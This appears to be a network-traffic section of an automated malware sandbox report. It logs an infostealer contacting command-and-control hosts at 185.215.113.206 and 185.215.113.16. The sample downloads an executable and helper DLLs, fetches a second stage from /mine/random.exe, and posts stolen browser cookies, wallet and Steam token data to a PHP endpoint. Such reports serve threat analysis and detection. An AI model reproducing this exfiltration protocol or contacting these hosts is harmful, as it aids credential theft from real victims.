Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 09:39:09 GMTContent-Type: application/octet-streamContent-Length: 727552Last-Modified: Wed, 11 Dec 2024 08:22:24 GMTConnection: keep-aliveETag: "67594bc0-b1a00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 c0 24 58 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4e 01 00 00 a8 00 00 00 00 00 00 2c 36 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 0b 00 00 08 00 00 7c 7a 0b 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c ca 01 00 64 00 00 00 00 00 02 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 80 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 68 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 34 cc 01 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 41 4d 01 00 00 10 00 00 00 4e 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 3c 7e 00 00 00 60 01 00 00 80 00 00 00 56 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 4c 1c 00 00 00 e0 01 00 00 12 00 00 00 d6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 00 00 00 00 00 02 00 00 02 00 00 00 e8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 80 13 00 00 00 10 02 00 00 14 00 00 00 ea 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 8e 04 00 00 30 02 00 00 8e 04 00 00 fe 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 8e 04 00 00 c0 06 00 00 8e 04 00 00 8c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIJDAAAAAAKECBFBAEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 37 44 36 39 32 39 32 43 43 46 35 31 36 36 30 34 39 33 34 38 35 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 2d 2d 0d 0a Data Ascii: ------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="hwid"37D69292CCF51660493485------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="build"stok------HIIIJDAAAAAAKECBFBAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDHDGHJEBGIDGDGIJJKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 62 30 34 66 30 39 38 37 35 35 37 66 64 36 35 30 66 62 33 63 31 66 37 65 38 39 39 39 61 38 66 30 35 38 34 38 30 63 64 34 61 64 65 39 62 31 64 64 37 61 63 61 34 34 31 66 31 65 31 31 33 61 65 39 65 30 63 31 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------GHDHDGHJEBGIDGDGIJJKContent-Disposition: form-data; name="token"1ab04f0987557fd650fb3c1f7e8999a8f058480cd4ade9b1dd7aca441f1e113ae9e0c110------GHDHDGHJEBGIDGDGIJJKContent-Disposition: form-data; name="message"browsers------GHDHDGHJEBGIDGDGIJJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAEBGHDBKEBGIDHJJEHCHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 62 30 34 66 30 39 38 37 35 35 37 66 64 36 35 30 66 62 33 63 31 66 37 65 38 39 39 39 61 38 66 30 35 38 34 38 30 63 64 34 61 64 65 39 62 31 64 64 37 61 63 61 34 34 31 66 31 65 31 31 33 61 65 39 65 30 63 31 31 30 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 2d 2d 0d 0a Data Ascii: ------CAEBGHDBKEBGIDHJJEHCContent-Disposition: form-data; name="token"1ab04f0987557fd650fb3c1f7e8999a8f058480cd4ade9b1dd7aca441f1e113ae9e0c110------CAEBGHDBKEBGIDHJJEHCContent-Disposition: form-data; name="message"plugins------CAEBGHDBKEBGIDHJJEHC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDAAFBGDBKJJJKFIIIJJHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 62 30 34 66 30 39 38 37 35 35 37 66 64 36 35 30 66 62 33 63 31 66 37 65 38 39 39 39 61 38 66 30 35 38 34 38 30 63 64 34 61 64 65 39 62 31 64 64 37 61 63 61 34 34 31 66 31 65 31 31 33 61 65 39 65 30 63 31 31 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 2d 2d 0d 0a Data Ascii: ------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="token"1ab04f0987557fd650fb3c1f7e8999a8f058480cd4ade9b1dd7aca441f1e113ae9e0c110------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="message"fplugins------IDAAFBGDBKJJJKFIIIJJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHJKFHJJJKJJJJKEHCHost: 185.215.113.206Content-Length: 6891Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFBFBAEBKJKEBGCAEHCHost: 185.215.113.206Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 62 30 34 66 30 39 38 37 35 35 37 66 64 36 35 30 66 62 33 63 31 66 37 65 38 39 39 39 61 38 66 30 35 38 34 38 30 63 64 34 61 64 65 39 62 31 64 64 37 61 63 61 34 34 31 66 31 65 31 31 33 61 65 39 65 30 63 31 31 30 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 43 2d 2d 0d 0a Data Ascii: ------HCFBFBAEBKJKEBGCAEHCContent-Disposition: form-data; name="token"1ab04f0987557fd650fb3c1f7e8999a8f058480cd4ade9b1dd7aca441f1e113ae9e0c110------HCFBFBAEBKJKEBGCAEHCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------HCFBFBAEBKJKEBGCAEHCContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HCFBFBAEBKJKEBGCAEHC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIJKEHCAKFCAKFHDAAAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 62 30 34 66 30 39 38 37 35 35 37 66 64 36 35 30 66 62 33 63 31 66 37 65 38 39 39 39 61 38 66 30 35 38 34 38 30 63 64 34 61 64 65 39 62 31 64 64 37 61 63 61 34 34 31 66 31 65 31 31 33 61 65 39 65 30 63 31 31 30 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 2d 2d 0d 0a Data Ascii: ------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="token"1ab04f0987557fd650fb3c1f7e8999a8f058480cd4ade9b1dd7aca441f1e113ae9e0c110------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="file"------EGIJKEHCAKFCAKFHDAAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKEGIIJDGHCAKFHJEHCFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 49 49 4a 44 47 48 43 41 4b 46 48 4a 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 62 30 34 66 30 39 38 37 35 35 37 66 64 36 35 30 66 62 33 63 31 66 37 65 38 39 39 39 61 38 66 30 35 38 34 38 30 63 64 34 61 64 65 39 62 31 64 64 37 61 63 61 34 34 31 66 31 65 31 31 33 61 65 39 65 30 63 31 31 30 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 49 49 4a 44 47 48 43 41 4b 46 48 4a 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 49 49 4a 44 47 48 43 41 4b 46 48 4a 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 49 49 4a 44 47 48 43 41 4b 46 48 4a 45 48 43 46 2d 2d 0d 0a Data Ascii: ------AKEGIIJDGHCAKFHJEHCFContent-Disposition: form-data; name="token"1ab04f0987557fd650fb3c1f7e8999a8f058480cd4ade9b1dd7aca441f1e113ae9e0c110------AKEGIIJDGHCAKFHJEHCFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AKEGIIJDGHCAKFHJEHCFContent-Disposition: form-data; name="file"------AKEGIIJDGHCAKFHJEHCF--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJJKEBGHJKFIDGCAAFCAHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKFCFBFIDGCGDHJDBKFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 62 30 34 66 30 39 38 37 35 35 37 66 64 36 35 30 66 62 33 63 31 66 37 65 38 39 39 39 61 38 66 30 35 38 34 38 30 63 64 34 61 64 65 39 62 31 64 64 37 61 63 61 34 34 31 66 31 65 31 31 33 61 65 39 65 30 63 31 31 30 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 44 42 4b 46 2d 2d 0d 0a Data Ascii: ------FBKFCFBFIDGCGDHJDBKFContent-Disposition: form-data; name="token"1ab04f0987557fd650fb3c1f7e8999a8f058480cd4ade9b1dd7aca441f1e113ae9e0c110------FBKFCFBFIDGCGDHJDBKFContent-Disposition: form-data; name="message"wallets------FBKFCFBFIDGCGDHJDBKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFBGCGIJKJJKFIDBFCGHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 62 30 34 66 30 39 38 37 35 35 37 66 64 36 35 30 66 62 33 63 31 66 37 65 38 39 39 39 61 38 66 30 35 38 34 38 30 63 64 34 61 64 65 39 62 31 64 64 37 61 63 61 34 34 31 66 31 65 31 31 33 61 65 39 65 30 63 31 31 30 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 47 2d 2d 0d 0a Data Ascii: ------CBFBGCGIJKJJKFIDBFCGContent-Disposition: form-data; name="token"1ab04f0987557fd650fb3c1f7e8999a8f058480cd4ade9b1dd7aca441f1e113ae9e0c110------CBFBGCGIJKJJKFIDBFCGContent-Disposition: form-data; name="message"files------CBFBGCGIJKJJKFIDBFCG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHIDHCBGDHJKEBGDGIJEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 47 44 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 62 30 34 66 30 39 38 37 35 35 37 66 64 36 35 30 66 62 33 63 31 66 37 65 38 39 39 39 61 38 66 30 35 38 34 38 30 63 64 34 61 64 65 39 62 31 64 64 37 61 63 61 34 34 31 66 31 65 31 31 33 61 65 39 65 30 63 31 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 47 44 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 47 44 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 47 44 47 49 4a 45 2d 2d 0d 0a Data Ascii: ------GHIDHCBGDHJKEBGDGIJEContent-Disposition: form-data; name="token"1ab04f0987557fd650fb3c1f7e8999a8f058480cd4ade9b1dd7aca441f1e113ae9e0c110------GHIDHCBGDHJKEBGDGIJEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GHIDHCBGDHJKEBGDGIJEContent-Disposition: form-data; name="file"------GHIDHCBGDHJKEBGDGIJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIDAKKJJJKKECAKKJEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 44 41 4b 4b 4a 4a 4a 4b 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 62 30 34 66 30 39 38 37 35 35 37 66 64 36 35 30 66 62 33 63 31 66 37 65 38 39 39 39 61 38 66 30 35 38 34 38 30 63 64 34 61 64 65 39 62 31 64 64 37 61 63 61 34 34 31 66 31 65 31 31 33 61 65 39 65 30 63 31 31 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 44 41 4b 4b 4a 4a 4a 4b 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 44 41 4b 4b 4a 4a 4a 4b 4b 45 43 41 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------HIIIDAKKJJJKKECAKKJEContent-Disposition: form-data; name="token"1ab04f0987557fd650fb3c1f7e8999a8f058480cd4ade9b1dd7aca441f1e113ae9e0c110------HIIIDAKKJJJKKECAKKJEContent-Disposition: form-data; name="message"ybncbhylepme------HIIIDAKKJJJKKECAKKJE--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJECGDGCBKECAKFBGCAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 61 62 30 34 66 30 39 38 37 35 35 37 66 64 36 35 30 66 62 33 63 31 66 37 65 38 39 39 39 61 38 66 30 35 38 34 38 30 63 64 34 61 64 65 39 62 31 64 64 37 61 63 61 34 34 31 66 31 65 31 31 33 61 65 39 65 30 63 31 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 2d 2d 0d 0a Data Ascii: ------GIJECGDGCBKECAKFBGCAContent-Disposition: form-data; name="token"1ab04f0987557fd650fb3c1f7e8999a8f058480cd4ade9b1dd7aca441f1e113ae9e0c110------GIJECGDGCBKECAKFBGCAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GIJECGDGCBKECAKFBGCA--
